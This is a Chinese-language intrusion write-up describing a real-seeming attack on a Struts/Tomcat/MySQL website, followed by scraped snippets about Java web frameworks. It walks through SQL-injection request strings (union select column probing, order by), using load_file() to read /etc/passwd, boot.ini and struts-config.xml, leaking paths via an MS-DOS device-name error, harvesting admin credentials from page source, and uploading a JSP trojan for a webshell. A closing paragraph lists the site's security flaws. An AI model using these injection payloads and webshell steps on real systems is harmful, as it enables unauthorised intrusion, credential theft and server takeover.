作者:skyfire[B.H.S.T]
入侵要点:
找到注入点
暴露网站页面绝对路径
利用mysql的load_file()读取网站配置信息找到管理后台
上传webshell
了解一下 Struts和.do :
首先了解一下什么是Struts。Struts是Apache基金会Jakarta项目组的一个Open Source项目,是一种优秀的J2EE MVC架构方式,它利用taglib获得可重用代码和抽象 Java 代码,利用ActionServlet配合Struts-config.xml实现对整个系统导航。增强了开发人员对系统的整体把握,提高了系统的可维护性和可扩充性。
Struts的核心是Controller,即ActionServlet,而ActionServlet的核心就是Struts-config.xml,Struts-config.xml集中了所有页面的导航定义。关于sstruts更加详细的内容可以到以下地址浏览:
http://www.cn-java.com/www1/?action-viewnews-itemid-2207
http://www.chinaitlab.com/www/techspecial/struts/
http://www.ibm.com/developerworks/cn/java/j-struts/
.do文件是一个网页后台程序,它实际不是一个文件,并没有一个真正的.do文件存在,它不能直接打开 ,struts使用一个特殊的servlet作为“交换机”,将来自web浏览器的请求转到相应的serverpage。在开发web应用时有一个必须要写的部署描述文件(web-inf/web.xml)。这个文件描述了你的web应用的配置,包括欢迎页面(welcome pages)(当请求没有指定时,出现在目录下的文件)、servlet(路径或者扩展名)和那些servlets的参数的映射。在这个文件中,你配置struts actionservlet作为一个操控所有指定映射(通常以.do为扩展名)请求的servlet——这就是“交换机”。
可以通过下面地址的内容更加清楚的明白.do文件:
http://topic.csdn.net/u/20071009/11/D16FB438-4A2A-47E2-A03A-F62366C8F064.html
访问xx.do页面实际就是访问xx.jsp文件,但是使用了struts技术的网站,直接访问xx.jsp是不会被Tomcat、Resin等web服务器解析的。
xx.do页面目录下必有web-inf文件夹,存放Struts-config.xml!!
下面开始转入主题:
1、打开目标站点,发现是jsp类型网站,页面后缀名称是.do和.jsp,打开页面
http://www.site.com.cn:8081/newslistAction.do?type=1
输入标点 ',根据页面返回的内容,发现网站是基于Apache Tomcat/5.0.28 的web服务器。
2、寻找注入点,打开“产品中心”-“网络防火墙”-打开一种产品的介绍
http://www.site.com.cn:8081/showproAction.do?id=47
试试是否能手工注入,根据对此站点的了解,数据库应该是mysql或者oracle,oracle那种大玩意我们就不敢碰了,先试试看是不是mysql ,
http://www.site.com.cn:8081/showproAction.do?id=47 and ord(mid(version(),1,1))>51
页面正常,说明是mysql,而且mysql的版本是4.0以上,可以使用union查询,下面爆一下字段数:
http://www.site.com.cn:8081/showproAction.do?id=47' and 1=2 union select 1,2/* 页面出错;
http://www.site.com.cn:8081/showproAction.do?id=47' and 1=2 union select 1,2,3/* 页面出错;
.....
http://www.site.com.cn:8081/showproAction.do?id=47'%20and%201=2%20union%20select%201,2,3,4,5,6,7/*
页面正常,而且页面内容显示出我们想要的数字!!
mysql注入爆字段有个技巧,不需要这么麻烦进行猜测,可以利用order by 暴字段数,例如:
http://www.site.com.cn:8081/showproAction.do?id=47' order by 7/* 页面正常;
http://www.site.com.cn:8081/showproAction.do?id=47' order by8/* 页面出错,说明共有7个字段
3、既然知道了是mysql数据库,也找到了注入点,当然是拿出php注入工具,这里使用的是海洋顶端网PHP注射工具,获取数据库的一些信息,更加重要的使用load_file()函数。
对于mysql数据库来说,root用户默认只能在本机登陆,就不要指望使用空密码连接3306端口远程登录mysql数据库。
现在还不知道操作系统是windows还是linux,如果系统没有做用户权限设置,可以用load_file()函数试试,load_file('/etc/password'),load_file('c:\boot.ini'),竟然是windows 2000 Server!看来网站架构应该就是windows 2000 server+tomcat+mysql,不要指望IIS了。
4、.继续注入,看能不能找到网站管理员帐号和密码。拿出近来比较出风头的注入工具pangolin(穿山甲),输入注入地址
http://www.site.com.cn:8081/showproAction.do?id=47
数据库当然是mysql了,注入字符类型是int型,晕,跑了半天竟然跑不出东西来,数据表也猜测不到东西,看来用工具猜测获得数据库的管理员帐号和密码是不太现实了,再想想其他办法咯。
5、如果知道页面文件在硬盘的绝对路径,当然可以load_file()查看页面源代码,关键是怎么暴露出页面的地址呢?如果是php页面还可以构造一些sql语句导致查询出错而暴露出web页面绝对路径,但现在是tomcat,页面执行出错的时候都是tomcat该死的调试信息霸占住页面。试试啊D注入工具的管理入口搜索,结果发现的只有tomcat的默认管理页面,没有配置过的tomcat管理界面是登陆不了的。继续搜索,无意中打开了
http://www.site.com.cn:8081/manager/
http://www.site.com.cn:8081/jiehe/
可以列目录哦,不过看不到什么有价值的页面地址。
6、试试工具wwwscan,一个支持SSL的命令行CGI扫描器,据说收集了很多敏感的目录文件,终于访问http://www.site.com.cn:8081\\com3的时候,错误页面暴露出来网站的路径:F:\Tomcat 5.0\webapps\ROOT\com3 (系统找不到指定的文件),那说明tomcat的虚拟目录路径就是
F:\Tomcat 5.0\webapps\ROOT\
绿盟漏洞库(http://www.nsfocus.net/vulndb/9875)是这样描述此漏洞的:
DApache Tomcat MS-DOS设备名远程拒绝服务漏洞:
Apache Tomcat在处理畸形的用户请求时存在漏洞,远程攻击者可以利用这个漏洞对服务程序执行拒绝服务攻击,使合法用户无法正常访问服务。当用户发送MS-DOS设备名加“.jsp”的文件请求到服务器时,会导致服务程序发生拒绝服务。
7、既然知道了网站的虚拟路径,那么剩下的就是利用load_file()看页面代码咯。先试试load_file(“index.php”),可惜看不到什么有价值的信息,那么看看tomcat的配置文件,
F:\Tomcat 5.0\conf\server.xml
如果网站虚拟目录移动到其他路径不在tomcat安装目录下,在server.xml中会有新的虚拟目录信息,但此时没有什么有用的信息。试试
F:\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
整个站点的页面路径都出来了!
8、http://www.site.com.cn:8081/usereditAction.do?id=1,显示修改管理员密码的页面,不用用户身份验证就可以访问页面也就不说了,更要命的是天上掉下馅饼:html代码里面竟然还可以看见用户帐户和密码!!继续在struts-config.xml找后台管理界面登陆页面,终于发现是后台登陆地址是
http://www.site.com.cn:8081/siteadmin/login.jsp
9、google搜索并找到一个:JFolder.jsp,用网站后台功能上传jsp木马,上传成功,根据网站内其它已上传图片的路径,直接访问
http://www.site.com.cn:8081//dir/
上传文件新名称,得到webshell!!
10、总结:在本次入侵中,网站存在注入点,然后通过struts-config.xml找到网站的管理后台地址,然后又暴露出管理员的帐号和密码,实属运气,否则还需要花费很大力气去猜解管理表名称以及管理员帐号和密码后才能顺利进入管理后台并上传jsp木马形成webshell,总而言之,网站系统的防护缺陷包括有:网站系统存在注入点、服务器没有进行用户权限设置、网站后台某些管理页面没有进行用户认证、上传页面可以上传任意类型文件。
在wwwscan的扫描结果中已经发现了上传页面,并且能上传任意文件,但是还需要猜解到文件传上去后的路径是img还是dir或者是其它路径然后才能访问到此jsp木马,但本次入侵主要还是利用了struts的配置文件struts-config.xml来获得webshell!
写的比较乱一点,不要介意啊。
分享到:
相关推荐
- 在纯JSP或使用JavaBean的应用中,可以通过实现`javax.servlet.Filter`接口来实现入侵检测功能。 - 需要在`doFilter()`方法中编写入侵检测逻辑,并在`web.xml`中进行配置。 2. **基于框架的实现**: - 对于使用...
其仍然牢牢占据着计算机语言的核心地位,并衍生出Jsp、JavaEE和Struts2等多种先进的计算机技术,为计算机和软件科学的发展做出了巨大的贡献,也为人类的生产和现代社会的发展做出了非常卓越的贡献,各种基于Java的...
该系统的核心是基于Struts 2框架,它是一个基于MVC(Model-View-Controller)模式的Java Web开发框架。Struts 2以Webwork为核心,利用拦截器(Interceptor)机制来处理用户的请求,增强了系统的灵活性和可扩展性。在...
【标题】基于Java Web的智能二维码门禁管理系统是一款利用现代技术实现的安全管理解决方案,它集成了二维码识别、网络通信和数据库技术,适用于各种场所的出入口控制,如办公楼、学校、住宅区等。该系统旨在提升门禁...
本项目即是一个基于Java Server Pages(JSP)技术构建的高校规章制度管理系统,旨在通过Web应用的方式,实现对学校规章制度的集中管理和在线查询。 #### 二、系统设计 ##### 1.1 目标设计 本系统的开发目标主要...
- **无入侵式设计**:Struts2的设计避免了与Servlet API或Struts API的紧密耦合,这使得Struts2的应用程序可以在不同的环境下更容易地部署和维护。 - **拦截器机制**:Struts2提供了强大的拦截器功能,这允许...
此外,通过使用JSP(JavaServer Pages)作为前端开发语言,结合Struts、Spring、Hibernate(SSH框架)的后端支持,可以实现数据持久化、业务逻辑处理和控制层的高效集成,提高系统的稳定性和可维护性。 1.3 技术...
**Struts框架** 是Java Web开发中的一个重要组件,它提供了一种组织和管理Web应用结构的方式。Struts通过控制器Servlet(ActionServlet)协调模型、视图和控制器之间的交互。模型负责业务逻辑处理,视图负责展示数据...
1. **Java Web技术的广泛应用与安全问题**:Java Web技术,如JSP、Servlet和各种Web框架(Spring MVC、Stripes、Struts 2、Tapestry、Wicket等),在开发Web应用程序时广泛使用。由于其在客户端和服务器端的广泛应用...
MyEclipse则是集成开发环境(IDE),专为Java EE应用提供服务,包括代码编辑、调试、构建和部署等,支持多种框架和技术,如Spring、Struts和Hibernate等。在这个电子政务档案管理系统中,MyEclipse作为开发工具,...
- **前端技术**:使用JSP(Java Server Pages)进行网页设计,提供友好的用户界面。 - **设计模式**:采用MVC(Model-View-Controller)设计模式,将数据模型、视图展示和业务逻辑清晰地分离,提高了代码的可维护性...
在技术选型上,系统利用JSP(Java Server Pages)动态页面开发技术,这是一种用于创建动态网页的技术,结合Java编程语言,能够实现服务器端的业务逻辑处理。同时,系统采用了Struts2+Spring+Hibernate的MVC(模型-...
5. **软件工程**:如基于.NET技术的网上答疑平台、基于Struts架构的系统设计,涵盖了软件生命周期、敏捷开发、设计模式、MVC架构、EJB组件技术等。 6. **数据挖掘与分析**:数据挖掘算法研究、基于Web的数据分析...
Apache Tomcat 7.0.55 是一个广泛使用的开源软件,它是一个实现了Java Servlet、JavaServer Pages(JSP)和Java EE的Web应用程序容器。这个版本是Tomcat 7系列的一个更新,提供了性能改进、安全修复以及对新功能的...
JSONStruts2是一个重要的安全漏洞,它涉及到Apache Struts2框架的一个特定版本,该框架是Java Web开发中广泛使用的开源MVC(Model-View-Controller)框架。此问题出现在Struts2的JSON插件中,允许攻击者通过精心构造...
该系统采用Java开发语言与Struts2框架技术,结合JSP进行界面设计,并基于分布式文件系统构建。系统主要包含用户管理、加密检索模板、小文件合并管理和文件管理四个模块。用户管理确保只有注册用户才能使用服务,同时...
3. 应用服务器技术已经演变到基于 Java 组件的应用服务器。 4. 中间件技术已经成为分布式软件系统不可或缺的关键基础设施。 5. 在数据挖掘领域,序列模式的目的是分析数据间的前后序列关系。 6. 为了提高数据的...
8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 ...